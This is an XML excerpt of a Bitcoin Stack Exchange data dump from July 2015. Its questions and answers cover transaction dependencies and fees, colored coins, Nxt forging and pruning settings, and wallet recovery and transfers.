  <row Id="38746" PostTypeId="1" AcceptedAnswerId="38748" CreationDate="2015-07-23T15:30:05.297" Score="1" ViewCount="256" Body="&lt;p&gt;My question in quite conceptual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For creating a raw transaction, I just need the txid from the older transaction and the address to send it. Put the funds, the change, what's left is the fee. Sign it and broadcast it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say Alice sends to Bob's disposable address some funds. Bob has a &quot;master address&quot;. Whatever funds he gets on the disposables addressess he sends to his master one. Bob runs a full node and get the transaction before it gets confirmed on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bob receives the broadcasted Alice transaction, Bob gets the raw transaction sent to his disposable address, get the txid, put the funds, put the address of his &quot;master&quot; address, change, fee, sign it and broadcast a new transaction, getting the funds sent from Alice to his master address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now, Alice sends to BobDisp (Bob's disposable address) that sends to Bob. All those transactions have 0 confirmations and are both valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the point of the argument. Alice sent the transaction with 0 (ZERO) fee. Bob signed his transaction with a 'standard' fee (let's say 0.0003 BTC), which has a high priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When miners get the transactions to mine, do they know that both have to be on the same block? Or what happens if the block is mined with only 'BobD -&gt; Bob' transaction (without the Alice -&gt; BobD)? Is the block invalid? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miners won't rescan the whole blockchain to know that the 'BobD -&gt; Bob' uses the funds of a new transaction, right? The Alice transaction could be 50000 blocks old or, in this case, a new one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: not sure if it is clear. thanks&lt;/p&gt;&#xA;" OwnerUserId="21790" LastActivityDate="2015-07-23T16:07:11.800" Title="Sending funds on same block of received funds. Confirm sending not received?" Tags="|transactions|blockchain|transaction-fees|block|transaction-id|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38747" PostTypeId="2" ParentId="38746" CreationDate="2015-07-23T15:56:53.817" Score="2" Body="&lt;p&gt;They don't have to be on the same block, but as they do depend on each other the BobD-&gt;Bob transaction can only be mined if Alice-&gt;BobD is already in the same or an earlier block. If not, the entire block would be invalid and noone would accept it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that smart miners would add up the fees for both transactions and on the basis of that decide whether to include it in a block or not. So Alice-&gt;BobD might have 0 fee and therefore not be interesting for miners, but if BobD-&gt;Bob pays enough fee to compensate for it, a miner might include both transactions in the same block. This is known as Child Pays For Parent or CPFP. I don't think it's very common yet for miners to have this implemented at the moment. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8390/are-there-any-pools-or-large-miners-running-child-pays-for-parent-patch&quot;&gt;Are there any pools or large miners running &amp;quot;child pays for parent&amp;quot; patch?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-07-23T15:56:53.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38748" PostTypeId="2" ParentId="38746" CreationDate="2015-07-23T16:07:11.800" Score="2" Body="&lt;p&gt;Just to expand on Jannes's answer: before including a transaction in a block, a miner does effectively check that all inputs to this transaction are already in this block or some previous block, as well as all inputs to those transactions, and so on recursively back to where the coins were created.  In fact, every full node on the network performs this same check on every transaction in every new block they receive, because this is a requirement for the block to be accepted as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the miner or node can accomplish this without rescanning the block chain every time.  When they first downloaded the block chain, they created a local index of all valid transactions, which is stored on disk.  A new transaction is not entered into this index unless all its inputs are already in the index.  If you think about the recursive nature of the check for a moment, you'll see that finding a transaction in the index implies that it, and all of its parents, are valid - and so the check can be done in very little time.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-23T16:07:11.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38749" PostTypeId="2" ParentId="38744" CreationDate="2015-07-23T16:55:25.270" Score="0" Body="&lt;p&gt;Edit: I don't think there's a method to do that, but this should do the same thing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// calculate balance, only include transactions that are not in a block&#xA;List&amp;lt;TransactionOutput&amp;gt; candidates = wallet.calculateAllSpendCandidates(false, false);&#xA;Coin value = Coin.ZERO;&#xA;for (TransactionOutput out : candidates) {&#xA;    if(out.getParentTransaction().getAppearsInHashes() == null) {&#xA;        // Not seen in any block that we know of&#xA;        value = value.add(out.getValue());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-07-23T17:55:55.943" LastActivityDate="2015-07-23T17:55:55.943" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38751" PostTypeId="1" CreationDate="2015-07-23T18:25:55.523" Score="1" ViewCount="50" Body="&lt;p&gt;Is there a &lt;strong&gt;relationship&lt;/strong&gt; between the &lt;strong&gt;equality of wealth of bitcoin&lt;/strong&gt; holders, and it's &lt;strong&gt;foreign exchange value&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if there is a large transfer of bitcoin to a single owner, should this influence its value as a currency?&lt;/p&gt;&#xA;" OwnerUserId="27597" LastEditorUserId="5406" LastEditDate="2021-03-07T12:59:46.693" LastActivityDate="2021-03-07T12:59:46.693" Title="Relationship between concentration of bitcoin wealth and foreign exchange value?" Tags="|economic-theory|money-supply|market|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38752" PostTypeId="1" CreationDate="2015-07-23T18:44:21.230" Score="3" ViewCount="269" Body="&lt;p&gt;I'm trying to understand the Open Assets transaction example &lt;a href=&quot;https://github.com/OpenAssets/open-assets-protocol/blob/master/specification.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;given here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vrPiG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrPiG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything makes sense, more or less, until the end of the description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Output 6 receives the first 3 units of input 5. Input 5 has the asset ID A2 so the asset ID A2 is assigned to output 6.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens to the remaining 6 units of Asset A2? The unit count starts at 9 for input 5, and output 6 claims 3 units. That leaves 6 units unaccounted for. Input 5 is spent after this transaction, so it's not clear how it can be reclaimed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-07-23T23:50:40.493" LastActivityDate="2018-03-21T19:33:31.727" Title="What happens to unclaimed Open Assets (colored coins) asset quantity units?" Tags="|colored-coins|open-assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38753" PostTypeId="1" CreationDate="2015-07-23T20:26:52.877" Score="3" ViewCount="241" Body="&lt;p&gt;From what I understand, in Nxt, blocks are mined (or forged) using a system based on Proof-of-Stake where block creation works similarly to a lottery: people have tickets, and the more tickets you have, the greater the chances of winning and therefore forging a block. Tickets in Nxt are just coins you own in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is that for each block creation, the winner is found from a pool of &quot;active accounts&quot; which so happens to be people that are online at that moment. Based on specific things (like how many coins one has), the winner is then found. My concern is that someone can forge a new block without caring about the &quot;active accounts&quot;, he sort of pretends that nobody else is online. So he'll mine it for sure, as he's the only one, and then he'll broadcast it. He keeps doing this for the next blocks and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stopping other peers from accepting his chain?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2015-07-23T20:39:56.347" LastActivityDate="2015-07-26T07:58:18.450" Title="How does Nxt agree on a chain when &quot;active accounts&quot; can be easily faked?" Tags="|nxt|proof-of-stake|forging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38754" PostTypeId="2" ParentId="38752" CreationDate="2015-07-23T22:08:56.763" Score="3" Body="&lt;p&gt;I had the exact same question when reading over that specification document. I'm not sure if that is a mistake in the example, but the conclusion I reached is that the colored coins are destroyed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this with the Python Open assets library and the transaction that claimed less than the full possible number of assets was still a valid colored coins transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, unlike normal coins where the 'leftovers' are given to the miners, unclaimed open assets are destroyed. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-23T22:08:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38755" PostTypeId="1" AcceptedAnswerId="38756" CreationDate="2015-07-23T22:51:39.077" Score="3" ViewCount="2275" Body="&lt;p&gt;I am running Electrum 2.3.2. I had 2-factor authentication enabled with Google Authenticator, but then got a new phone. I know the password to the wallet but do not have the 2-factor code anymore. I do not know my seed. Is there a way for me to get access to my coins in this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking at the wallet file I do not see a key entry in the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I am only seeing how people do this when they have the seed but not the password, which is the opposite of my situation.&lt;/p&gt;&#xA;" OwnerUserId="27030" LastActivityDate="2017-08-11T22:05:25.683" Title="Restore Seed with Password" Tags="|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38756" PostTypeId="2" ParentId="38755" CreationDate="2015-07-24T01:07:05.977" Score="1" Body="&lt;p&gt;The 2FA wallet means there are two distinct sets of private keys, one you hold in your wallet, and one held by a third party. Normally you are authorizing the third party to sign transactions with their private keys on your behalf by giving them a valid 2FA code. In the case of Electrum, the third party is a company named TrustedCoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Oq5Ui.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oq5Ui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their terms of service explicitly state that there is no recovery service for lost 2FA tokens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Integration with 3rd-Party Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If you forget your one-time password generator, we offer no way to recreate it.  You will need to use your second key to move your funds to a new address.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the information presented you will need to find your Electrum seed to restore both halves of your wallet, or find a backup of your phone that contains the 2FA token files. iOS for example will  back these up into iTunes, it is likely that Android devices have similar backups that will contain them as well. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-24T01:16:10.950" LastActivityDate="2015-07-24T01:16:10.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38757" PostTypeId="1" CreationDate="2015-07-24T01:30:46.977" Score="1" ViewCount="26" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_attack&quot; rel=&quot;nofollow&quot;&gt;This is a definition of the Birthday Attack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone claims Bitcoin is vulnerable to such an attack in the bitcoin IRC chat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they correct?&lt;/p&gt;&#xA;" OwnerUserId="3478" LastActivityDate="2015-07-27T09:04:40.737" Title="Is Bitcoin vulnerable to a Birthday Attack against Private Keys?" Tags="|security|private-key|" AnswerCount="0" CommentCount="0" ClosedDate="2015-07-27T09:04:45.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="38759" PostTypeId="1" CreationDate="2015-07-24T03:19:56.517" Score="0" ViewCount="109" Body="&lt;p&gt;How could I send an invalid transaction—for testing purposes, such as with testnet or regtest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like to to try to double-spend, spend non existent coins, etc.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-07-24T03:19:56.517" Title="How to send an invalid transaction for testing purposes?" Tags="|testnet|transaction-verification|testing|regtest|validation|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38760" PostTypeId="2" ParentId="10859" CreationDate="2015-07-24T04:15:00.383" Score="6" Body="&lt;p&gt;I just installed bitcoind on an RPi and wanted to do this exact thing. Thought I'd post what worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getblockcount&#xA;7437&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Block height is 366678 at the time of this post...long way to go&lt;/p&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2015-07-24T04:15:00.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38761" PostTypeId="1" CreationDate="2015-07-24T05:45:48.137" Score="9" ViewCount="56407" Body="&lt;p&gt;Based on popular recommendations, I have started with Electrum as my Ubuntu desktop wallet and Coinbase as the way to buy bitcoin online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't seem like there is an easy way to transfer bitcoins from Coinbase to Electrum (not without using a paper wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? If I want to conveniently buy bitcoins only, but want to securely store them on my own offline hard drive, what's the best way to do it?&lt;/p&gt;&#xA;" OwnerUserId="27601" LastEditorUserId="60358" LastEditDate="2017-09-21T14:04:16.693" LastActivityDate="2017-12-23T02:40:57.673" Title="How to transfer bitcoin bought online to my desktop wallet?" Tags="|buy-bitcoins|electrum|coinbase.com|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38762" PostTypeId="1" CreationDate="2015-07-24T07:41:51.753" Score="1" ViewCount="544" Body="&lt;p&gt;Put more simply, is it possible to set up a multi-signature wallet that takes both signatures from itself? &lt;/p&gt;&#xA;" OwnerUserId="18602" LastActivityDate="2016-06-29T13:05:36.017" Title="Do Multi-Signature Wallets Require Two Separate Bitcoin Wallets?" Tags="|multi-signature|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38764" PostTypeId="2" ParentId="38762" CreationDate="2015-07-24T10:01:08.820" Score="0" Body="&lt;p&gt;No. Technically, you don't need two separated wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as i know there is no wallet app that supports your case. Maybe because your use-case doesn't sounds after a reasonable usage of multisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main purpose of using multisig is to get multiple signatures from a) multiple devices (=multiple keystores/wallets) or b) multiple identities (=every identity keeps it's own wallet).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-24T10:01:08.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38765" PostTypeId="2" ParentId="38737" CreationDate="2015-07-24T11:10:42.547" Score="0" Body="&lt;p&gt;I was attempting to use an existing script which requests &quot;getnewaddress&quot; from bitcoind when it wants a new address. Sure, I could pre-generate keys.. but this script has no method to store them. It relies upon bitcoind. However, this means that the private keys are stored on the bitcoind server. I was attempting to avoid this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this not a valid scenario I am describing ?&lt;/p&gt;&#xA;" OwnerUserId="27604" LastActivityDate="2015-07-24T11:10:42.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38767" PostTypeId="1" AcceptedAnswerId="38809" CreationDate="2015-07-24T11:50:19.310" Score="6" ViewCount="4746" Body="&lt;p&gt;As more and more Bitcoin transactions are produced, the growth of the Blockchain may well, one day, become a problem for systems which want (need?) to store the whole blockchain.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Storage usage&lt;/li&gt;&#xA;&lt;li&gt;Client startup time&lt;/li&gt;&#xA;&lt;li&gt;First-time synchronisation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/8737/822&quot;&gt;This answer to &quot;Are there any studies into the size of the blockchain scaling over time?&quot;&lt;/a&gt; suggests that Simplified Payment Verification is a good solution, but SPV, as far as I understand it, requires a degree of trust in individual peers that may not be to everyone's taste. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I don't really understand the blockchain well enough even to know if this is sensible, the sort of thing that occurs to me might be a mixture of SPV with partial blockchain caching (least frequently used?), where the client keeps a small piece of the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this really a problem, and is there any work in progress to solve it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if this isn't a problem, please help me to understand why.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-01-24T08:32:08.690" Title="Is there a (potential) &quot;Blockchain size problem&quot;, and what solutions are available?" Tags="|blockchain|scalability|storage|blocksize|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38768" PostTypeId="1" AcceptedAnswerId="49949" CreationDate="2015-07-24T14:49:41.587" Score="1" ViewCount="210" Body="&lt;p&gt;Was wondering how many coins have their core wallet software that is accessible on mobile devices? 3rd party devs do not count. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only want a list of coins that can be used on mobile devices as this reduces the risk of theft as the wallet software is made by the core devs.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-11-30T21:25:23.400" Title="Which altcoins have their own mobile friendly wallet created by the core devs?" Tags="|wallet|altcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38769" PostTypeId="1" CreationDate="2015-07-24T14:51:57.877" Score="1" ViewCount="350" Body="&lt;p&gt;I am total newbie and only need an advice on the existing payment processing services available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have checked only Bitpay, and noticed that on its t&amp;amp;c it is said that the system converts bitcoins into fiat &lt;em&gt;once they are received&lt;/em&gt;. I guess that means that the client has to be able to pay by bitcoin, and I find it can be an deterrent when dealing with payers which are not used with this new currency or are unable to pay with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is: are there 'blackbox' services, which allow the payer to send money to the payment processing system by using fiat money, effectively allowing both users (payer and receiver) to avoid 'handling' bitcoins directly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="27607" LastActivityDate="2015-07-24T14:51:57.877" Title="Is there a payment processing system allowing the client to pay in cash/fiat money?" Tags="|receiving|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38770" PostTypeId="2" ParentId="36952" CreationDate="2015-07-24T16:31:16.977" Score="0" Body="&lt;p&gt;I tried to comment on the other answer, but my rep isn't high enough.  I wanted to point out that Nick's presumption about using the counter makes sense but doesn't answer the question, which, assuming his presumption is correct, leaves this unanswered: When is the counter reset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would implement it this way, and (to be safe) assume that this is how they did it: On each request, if the number of requests matching either your account or your IP (or both) in the last 60 seconds is over 60, then the request is denied.  This means that one of the &quot;60 requests at once during the first second of the second minute&quot; would get answered and the rest would fail.  There would be no counter, but instead a record of all requests (IP, account, timestamp) that is purged of records over a minute old as often as necessary to keep the server healthy.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-07-24T16:31:16.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38771" PostTypeId="1" AcceptedAnswerId="38776" CreationDate="2015-07-24T16:35:52.853" Score="2" ViewCount="2173" Body="&lt;p&gt;&lt;a href=&quot;http://breadwallet.com&quot; rel=&quot;nofollow&quot;&gt;Breadwallet&lt;/a&gt; uses a recovery passphrase in case you loose your phone. I read that you can reimport your wallet using a private key only once and after that you have to export it again in order to be able to import it a second time (see &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/1c9xr7/psa_using_paper_wallets_understanding_change/&quot; rel=&quot;nofollow&quot;&gt;Using Paper Wallets&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the key derivation method breadwallet uses also susceptible to that, or can I use this passphrase multiple times to recover the wallet?&lt;/p&gt;&#xA;" OwnerDisplayName="user27608" LastActivityDate="2015-07-24T21:48:27.817" Title="Breadwallet: Recovery Passphrase" Tags="|mobile|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38774" PostTypeId="1" AcceptedAnswerId="38775" CreationDate="2015-07-24T21:36:53.330" Score="0" ViewCount="155" Body="&lt;p&gt;Currently the NXT platform has the ability to store data in its blockchain, whereby making it a decentralized data storage system. But the thing is that the data is purged from a nodes blockchain every 2 weeks to reduce bloat and only keeps a hash of the file only. I read that you can host nodes that disable this pruning of the data and keep the data indefinitely. How can this be done? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2017-01-26T21:49:19.403" LastActivityDate="2017-01-26T21:49:19.403" Title="Decentralized Data Storage System in NXT - How do you disable the 2 week data pruning?" Tags="|nxt|decentralization|storage|pruning|ardor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38775" PostTypeId="2" ParentId="38774" CreationDate="2015-07-24T21:41:17.127" Score="1" Body="&lt;p&gt;Yes you can disable data pruning by editing the config file at &lt;strong&gt;conf/nxt-default.properties&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would effectively make the node into an &lt;strong&gt;NXT Archival Data Node&lt;/strong&gt; and I'd imagine you would be able to charge to retrieve old data in the future. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Override the lifetime of prunable data to keep them longer, value in seconds.&#xA;# Set to -1 to disable pruning. Has no effect if set to less then the minimum&#xA;# required lifetime of two weeks (1209600 seconds) on mainnet, or 24 hours&#xA;# (86400 seconds) on testnet.&#xA;nxt.maxPrunableLifetime=0&#xA;&#xA;# Always include prunable parts in transaction json, as long as still available,&#xA;# even if expired.&#xA;nxt.includeExpiredPrunable=false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just change it to &lt;strong&gt;-1&lt;/strong&gt; and &lt;strong&gt;true&lt;/strong&gt; in those settings. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-07-24T21:41:17.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38776" PostTypeId="2" ParentId="38771" CreationDate="2015-07-24T21:48:27.817" Score="1" Body="&lt;p&gt;You can use the wallet passphrase (Bip39 mnemonic) as many times as you like. You don't have to export it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But mind, breadwallet does not follow the bip44 chainpath scheme. Importing the passphrase into a different wallet application would first require to &quot;convert the keypath&quot; with a tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i would recommend to &lt;strong&gt;not&lt;/strong&gt; use the same wallet passphrase (bip39 mnemonic) on multiple devices simultaneous! You might reuse addresses and run into a chance of creating double spends.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-24T21:48:27.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38778" PostTypeId="2" ParentId="37276" CreationDate="2015-07-25T02:18:15.913" Score="-2" Body="&lt;p&gt;Gridcoin is driven by only one buggy developer. It seems not to be truly decentralized cryptocurrency now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several of buggy releases and several of blockchain snapshots are published in last few weeks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developer is just asking people to remove his coin on Poloniex just because they do not compile his new released code fast enough. (He did not even care about security reviews of his code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developer is also trying to move some coin from foundation wallet to his friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think Gridcoin is a secure currency to invest now. &lt;/p&gt;&#xA;" OwnerUserId="27616" LastActivityDate="2015-07-25T02:18:15.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38779" PostTypeId="2" ParentId="16748" CreationDate="2015-07-25T03:30:57.323" Score="0" Body="&lt;p&gt;A secure but clumsy alternative is to avoid general-purpose desktop/laptop computers and smartphones entirely. It's possible to generate keys without a real computer, which would protect you from malware and network-based attacks (but spending the coins is a different story).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to generate random Bitcoin private-public key pairs on a more restricted computing device, like an Arduino microcontroller without Wi-Fi or Bluetooth capabilities. (Or Texas Instruments LaunchPad, PJRC Teensy, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need C/C++ code that collects random numbers, computes the public curve point, and hashes the data to get the public address. The device should have a screen to display your private and public keys. A 32-bit CPU is preferred for faster math, because doing SHA-256 and elliptic curve calculations on an 8-bit CPU could take a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of an Arduino-based project by Steven Pearson that securely generates a key and prints it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=f7y_emuo68g&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=f7y_emuo68g&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=noW77GqmNBQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=noW77GqmNBQ&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2015-07-25T03:36:05.623" LastActivityDate="2015-07-25T03:36:05.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38780" PostTypeId="2" ParentId="38456" CreationDate="2015-07-25T03:53:30.160" Score="-1" Body="&lt;p&gt;We are now summer 2015 and I absolutely agree with @Dr.Haribo's answer.&#xA;Don't even loose your money If you want to start with something below 1Ths and electricity cost above 6cent/Kwh. I suggest &lt;a href=&quot;https://tradeblock.com/mining/&quot; rel=&quot;nofollow&quot;&gt;www.tradeblock.com/mining/&lt;/a&gt; calculator tool to get an idea about possible income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that this helped. &#xA;Happy Mining Folks, talk to you soon.&lt;/p&gt;&#xA;" OwnerUserId="27566" LastActivityDate="2015-07-25T03:53:30.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38781" PostTypeId="2" ParentId="37560" CreationDate="2015-07-25T04:02:00.427" Score="1" Body="&lt;p&gt;The fees charged are at the discretion of the miners, but it is possible for the network to accept free transactions under some conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the main reference client will accept a free transaction if its priority is high enough and some undesirable properties are absent. Roughly speaking, 1 BTC sitting unspent for 1 day can be spent for free; 2 BTC only needs to wait 1/2 day, etc. (This implies that an amount like 0.01 BTC would need to wait 100 days to qualify for a free transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For longer details, check out some references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinfees.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2015-07-25T04:02:00.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38784" PostTypeId="2" ParentId="38753" CreationDate="2015-07-25T06:26:49.373" Score="2" Body="&lt;p&gt;Linking to the discussion on the NXT forum &lt;a href=&quot;https://nxtforum.org/general-discussion/academic-questions-regarding-pos-and-nxt&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/general-discussion/academic-questions-regarding-pos-and-nxt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2015-07-25T06:26:49.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38786" PostTypeId="1" CreationDate="2015-07-25T07:07:29.877" Score="0" ViewCount="1790" Body="&lt;p&gt;As An example lets say i have 2 USB Miners each one has 16 GH/s&#xA;can i combine these 2 to mine with 32 GH/s ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if yes pls tell me how.&lt;/p&gt;&#xA;" OwnerUserId="27621" LastEditorUserId="5406" LastEditDate="2016-03-31T16:57:10.013" LastActivityDate="2016-03-31T16:57:10.013" Title="Can i combine 2 devices to get more power for mining" Tags="|mining-theory|" AnswerCount="2" CommentCount="0" ClosedDate="2016-04-10T17:12:43.040" ContentLicense="CC BY-SA 3.0" />
